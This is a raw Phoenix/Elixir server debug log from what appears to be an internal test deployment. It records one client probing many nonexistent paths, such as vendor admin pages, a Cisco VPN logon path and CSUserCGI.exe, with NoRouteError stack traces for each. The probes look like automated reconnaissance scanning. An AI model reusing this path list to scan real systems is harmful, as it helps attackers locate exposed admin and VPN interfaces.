    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:22:44.625000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50388] GET /dfcweb/lib/cupm/nls/applicationproperties.js
[Thu Sep  3 08:22:44.651000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50388] ** (Phoenix.Router.NoRouteError) no route found for GET /dfcweb/lib/cupm/nls/applicationproperties.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:22:45.792000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50396] GET /emsam/index.html
[Thu Sep  3 08:22:45.818000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50396] ** (Phoenix.Router.NoRouteError) no route found for GET /emsam/index.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:22:51.580000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50406] GET /api/config/class/guis
[Thu Sep  3 08:22:51.596000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50406] ** (Phoenix.Router.NoRouteError) no route found for GET /api/config/class/guis (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:22:53.005000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50414] GET /about.jsp
[Thu Sep  3 08:22:53.023000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50414] ** (Phoenix.Router.NoRouteError) no route found for GET /about.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:22:57.260000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43654] GET /admin/login.jsp
[Thu Sep  3 08:22:57.278000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43654] ** (Phoenix.Router.NoRouteError) no route found for GET /admin/login.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:22:58.152000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43656] GET /restconf
[Thu Sep  3 08:22:58.179000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43656] ** (Phoenix.Router.NoRouteError) no route found for GET /restconf (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:22:58.798000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43672] GET /login.html
[Thu Sep  3 08:22:58.836000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43672] ** (Phoenix.Router.NoRouteError) no route found for GET /login.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:23:05.849000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37214] GET /login
[Thu Sep  3 08:23:05.915000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37214] ** (Phoenix.Router.NoRouteError) no route found for GET /login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:23:06.210000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37216] GET /
[Thu Sep  3 08:23:06.210000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:37216] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:23:06.211000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37216] Sent 200 in 957µs
[Thu Sep  3 08:23:09.412000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37224] GET /
[Thu Sep  3 08:23:09.413000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:37224] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:23:09.415000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37224] Sent 200 in 2ms
[Thu Sep  3 08:23:12.370000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37226] GET /csamc52/webadmin
[Thu Sep  3 08:23:12.392000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37226] ** (Phoenix.Router.NoRouteError) no route found for GET /csamc52/webadmin (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:23:13.305000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50242] GET /login.html
[Thu Sep  3 08:23:13.330000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50242] ** (Phoenix.Router.NoRouteError) no route found for GET /login.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:23:15.698000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50254] GET /admin/public/index.html
[Thu Sep  3 08:23:15.713000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50254] ** (Phoenix.Router.NoRouteError) no route found for GET /admin/public/index.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:23:21.319000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50260] GET /+CSCOE+/logon.html
[Thu Sep  3 08:23:21.362000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50260] ** (Phoenix.Router.NoRouteError) no route found for GET /+CSCOE+/logon.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:23:21.610000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50274] GET /
[Thu Sep  3 08:23:21.610000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:50274] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:23:21.611000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50274] Sent 200 in 964µs
[Thu Sep  3 08:23:23.149000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52298] GET /nls/ApplicationProperties-en.json
[Thu Sep  3 08:23:23.170000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52298] ** (Phoenix.Router.NoRouteError) no route found for GET /nls/ApplicationProperties-en.json (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:23:25.178000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52308] GET /securecgi-bin/CSUserCGI.exe
[Thu Sep  3 08:23:25.197000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52308] ** (Phoenix.Router.NoRouteError) no route found for GET /securecgi-bin/CSUserCGI.exe (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:23:25.851000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52322] GET /securecgi-bin/CSUserCGI.exe
[Thu Sep  3 08:23:25.867000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52322] ** (Phoenix.Router.NoRouteError) no route found for GET /securecgi-bin/CSUserCGI.exe (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:23:30.447000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52338] GET /changelog
[Thu Sep  3 08:23:30.487000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52338] ** (Phoenix.Router.NoRouteError) no route found for GET /changelog (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
